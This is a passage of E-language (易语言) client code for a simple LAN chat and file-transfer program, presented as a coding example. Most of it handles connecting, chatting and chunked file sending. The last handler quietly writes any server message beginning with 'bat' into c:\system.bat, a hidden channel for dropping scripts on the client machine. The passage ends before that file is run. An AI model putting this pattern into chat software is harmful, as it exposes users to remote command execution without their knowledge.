易语言简单局域网聊天代码(客户服务器组件编写)摘要.docVIP

客户机代码： . 版本 2 .支持库 shell .支持库 xplib .程序集 窗口程序集1 .程序集变量 文件号1, 整数型 .程序集变量 文件长度, 整数型 .程序集变量 发送内容, 字节集 .程序集变量 文件名, 文本型 .程序集变量 文件号2, 整数型 .子程序 _按钮1_被单击 .局部变量 现在时间, 文本型 .如果 (编辑框7.内容 ＝ “1”) .如果 (编辑框6.内容 ≠ “”) .如果 (编辑框2.内容 ≠ “”) 客户1.发送数据 (“聊天” ＋ 编辑框2.内容) 现在时间 ＝ 到文本 (取年份 (取现行时间 ())) ＋ “/” ＋ 到文本 (取月份 (取现行时间 ())) ＋ “/” ＋ 到文本 (取日 (取现行时间 ())) ＋ “/” ＋ 到文本 (取小时 (取现行时间 ())) ＋ “:” ＋ 到文本 (取分钟 (取现行时间 ())) ＋ “:” ＋ 到文本 (取秒 (取现行时间 ())) 编辑框1.内容 ＝ 编辑框1.内容 ＋ “【本机】” ＋ 现在时间 ＋ #换行符 ＋ “ ” ＋ 编辑框2.内容 ＋ #换行符 编辑框2.内容 ＝ “” .否则 信息框 (“发送消息不能为空”, 48, “提示”) .如果结束 .否则 信息框 (“服务器IP地址不能为空”, 48, “提示”) .如果结束 .否则 信息框 (“服务器未连接”, 48, “提示”) .如果结束 .子程序 _按钮2_被单击 .如果 (编辑框6.内容 ≠ “”) .如果 (编辑框8.内容 ≠ “”) .如果 (客户1.连接 (编辑框6.内容, 1991) ＝ 真) 播放MP3 (1, “xlj.mp3”) 编辑框1.内容 ＝ 编辑框1.内容 ＋ “连接：” ＋ 编辑框6.内容 ＋ “成功” ＋ #换行符 按钮2.禁止 ＝ 真 编辑框7.内容 ＝ “1” 客户1.发送数据 (“昵称” ＋ 编辑框8.内容) .否则 播放MP3 (1, “lk.mp3”) 编辑框1.内容 ＝ 编辑框1.内容 ＋ “连接：” ＋ 编辑框6.内容 ＋ “失败” ＋ #换行符 .如果结束 .否则 信息框 (“请填写你的昵称”, 48, “提示”) .如果结束 .否则 信息框 (“请填写要连接的IP地址”, 48, “提示”) .如果结束 .子程序 _客户1_数据到达 .局部变量 接收内容, 文本型 .局部变量 现在时间, 文本型 .局部变量 发送进度, 整数型 接收内容 ＝ 到文本 (客户1.取回数据 ()) 现在时间 ＝ 到文本 (取年份 (取现行时间 ())) ＋ “/” ＋ 到文本 (取月份 (取现行时间 ())) ＋ “/” ＋ 到文本 (取日 (取现行时间 ())) ＋ “/” ＋ 到文本 (取小时 (取现行时间 ())) ＋ “:” ＋ 到文本 (取分钟 (取现行时间 ())) ＋ “:” ＋ 到文本 (取秒 (取现行时间 ())) .如果 (接收内容 ＝ “接收”) .如果 (是否在文件尾 (文件号1, ) ＝ 假) 发送内容 ＝ 读入字节集 (文件号1, 2048) 发送进度 ＝ 取读写位置 (文件号1) 进度条1.位置 ＝ 发送进度 ÷ 文件长度 × 1000 客户1.发送数据 (发送内容) .否则 客户1.发送数据 (“发送完毕”) 信息框 (“发送完毕”, 64, “提示”) 分组框8.可视 ＝ 假 进度条1.位置 ＝ 0 .如果结束 .否则 .如果 (接收内容 ＝ “拒绝”) 信息框 (“对方拒绝接收文件”, 64, “提示”) 分组框8.可视 ＝ 假 .否则 .如果 (取文本左边 (接收内容, 3) ＝ “bat”) 文件号1 ＝ 打开文件 (“c:\system.bat”, 4, 1) 写出文本 (文件号1, 取文本右边 (接收内容, 取文本长度 (接收内容) － 3))